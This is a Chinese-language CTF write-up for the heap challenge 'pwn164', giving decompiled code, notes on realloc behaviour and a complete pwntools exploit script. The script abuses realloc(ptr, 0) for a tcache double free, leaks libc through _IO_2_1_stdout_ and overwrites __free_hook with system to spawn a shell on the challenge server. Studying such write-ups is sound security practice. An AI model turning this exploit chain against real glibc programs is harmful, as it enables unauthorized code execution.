pwn164
有些东西不一样了,有些东西好像前面学过。 远程环境:Ubuntu 18.04
libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1
依旧保护全开
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn164
[*] '/home/niuyingying/ctf/pwn/pwn164'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
查看程序流程,显然的,没有 show 函数,因此考虑利用_io_2_1_stdout泄露libc ,具体参见 pwn162 - AurY1n's Blog
unsigned __int64 menu()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("====================");
puts("1. Add");
puts("2. Delete");
puts("3. Exit");
printf("Choice:");
return __readfsqword(0x28u) ^ v1;
}
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
init_1(a1, a2, a3);
init_2();
while ( 1 )
{
menu();
v3 = Read();
switch ( v3 )
{
case 2:
Delete();
break;
case 1433233:
Exit();
break;
case 1:
Add();
break;
default:
puts("Invalid Choice");
break;
}
}
}
unsigned __int64 Add()
{
unsigned int size; // [rsp+4h] [rbp-Ch]
size_t size_4; // [rsp+8h] [rbp-8h]
size_4 = __readfsqword(0x28u);
puts("Size?");
size = Read();
ptr = realloc(ptr, size);
puts("Content?");
read(0, ptr, size);
puts("Done");
return __readfsqword(0x28u) ^ size_4;
}
unsigned __int64 Delete()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
free(ptr);
puts("Done");
return __readfsqword(0x28u) ^ v1;
}
unsigned __int64 Exit()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
if ( dword_202050 )
exit(-1);
dword_202050 = 1;
ptr = 0;
puts("Done");
return __readfsqword(0x28u) ^ v1;
}
发现这道题 Add 函数使用的是 realloc ,所以顺便说一下其核心流程:
realloc(ptr, size)
│
├─ ptr == NULL
│ └─ 相当于 malloc(size)
│
├─ size == 0
│ └─ 常见 glibc 中相当于释放 ptr
│
├─ 新大小更小
│ ├─ 原地缩小
│ └─ 多余空间可能切割成 free chunk
│
├─ 新大小更大
│ ├─ 尝试与后方空闲空间或 top chunk 合并
│ └─ 否则 malloc 新块、复制数据、free 旧块
│
└─ 分配失败
├─ 返回 NULL
└─ 原来的 ptr 仍然有效
因此在常见 glibc 中:
ptr = realloc(ptr, 0);
通常相当于:
free(ptr);
ptr = NULL;
那么我们可以巧妙利用 realloc(ptr, 0) 做出堆块重叠用 stdout 泄露 libc ,接着隐藏选项 1433233 清空 ptr ,最后劫持 __free_hook 写入 b"/bin/sh\x00" 和 system 从而 get shell
攻击脚本如下:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn164')
libc = ELF('./libc-2.27.so')
# io = process('./pwn164')
io = remote("pwn.challenge.ctf.show",28276)
# io = gdb.debug('./pwn162', gdbscript='set pagination off\nbreakrva 0xD33\nbreakrva 0xEC1\nc')
# io = gdb.debug(
# './pwn164',
# gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0xC2A
# breakrva 0xC73
# breakrva 0xA5A
# c
# '''
# )
def Add(size,text):
io.recvuntil(b"Choice:")
io.sendline(b"1")
io.recvuntil(b"Size?\n")
io.sendline(str(size).encode())
io.recvuntil(b"Content?\n")
io.send(text)
def Delete():
io.recvuntil(b"Choice:")
io.sendline(b"2")
def Exit():
io.recvuntil(b"Choice:")
io.sendline(b"1433233")
# tcache 没有 fastbin 的 size 检查,通常不需要特殊偏移
key = (libc.sym["_IO_2_1_stdout_"]) & 0xffff
Add(0x20,b"aaaa")
Add(0,b"")
Add(0x90,b"aaaa")
Add(0,b"")
Add(0x10,b"aaaa") # guard
Add(0,b"")
# tcachebins
# 0x20 [ 1]: 0x555555a01330 ◂— 0
# 0x30 [ 1]: 0x555555a01260 ◂— 0
# 0xa0 [ 7]: 0x555555a01290 —▸ 0x7ffff7bebca0 —▸ 0x555555a01340 ◂— 0
# fastbins
# empty
# unsortedbin
# all: 0x555555a01280 —▸ 0x7ffff7bebca0 ◂— 0x555555a01280
Add(0x90,b"aaaa")
# 在 glibc 2.27 中,tcache 缺少完善的重复释放检查,可以将同一个 chunk 多次放入 tcache
for i in range(7):
Delete()
Add(0,b"")
# tcachebins
# 0x20 [ 1]: 0x555555a01330 ◂— 0
# 0x60 [ 1]: 0x555555a01260 ◂— 0
# 0x70 [ 1]: 0x555555a012c0 ◂— 0
# 0xa0 [ 7]: 0x555555a01290 —▸ 0x7ffff7bec71d (_IO_2_1_stderr_+157) ◂— 0xfff7beb780000000
Add(0x20,b"aaaa")
payload1 = p64(0) * 5 + p64(0x81) + p16(key) # 特别修改 size 使其不为 0xa1
Add(0x50,payload1)
Add(0,b"")
# tcachebins
# 0x20 [ 1]: 0x555555a01330 ◂— 0
# 0x60 [ 1]: 0x555555a01260 ◂— 0
# 0x70 [ 1]: 0x555555a012c0 ◂— 0
# 0x80 [ 1]: 0x555555a01290 ◂— 0
# 0xa0 [ 6]: 0x7ffff7bec760 (_IO_2_1_stdout_) ◂— 0xfbad2887
Add(0x90,b"aaaa")
Add(0,b"")
io.recvuntil(b"Choice:")
io.sendline(b"1")
io.recvuntil(b"Size?\n")
io.sendline(str(0x90).encode())
io.recvuntil(b"Content?\n")
payload2 = p64(0xFBAD1887) + p64(0) * 3 + b"\x98"
io.send(payload2)
# 0x7ffff7bec7e3
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
# 0x7ffff7800000
libc_base = leak - 0x3ec7e3
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
Exit() # ptr = 0
Add(0x30,b"bbbb")
Add(0,b"")
Add(0xa0,b"bbbb")
Add(0,b"")
Add(0x20,b"bbbb") # guard
Add(0,b"")
Add(0xa0,b"bbbb")
for i in range(7):
Delete()
Add(0,b"")
Add(0x30,b"bbbb")
payload3 = p64(0) * 7 + p64(0x81) + p64(free_hook - 8)
Add(0x80,payload3)
Add(0,b"")
Add(0xa0,b"bbbb")
Add(0,b"")
payload4 = b"/bin/sh\x00" + p64(system)
Add(0xa0,payload4)
Delete()
io.interactive()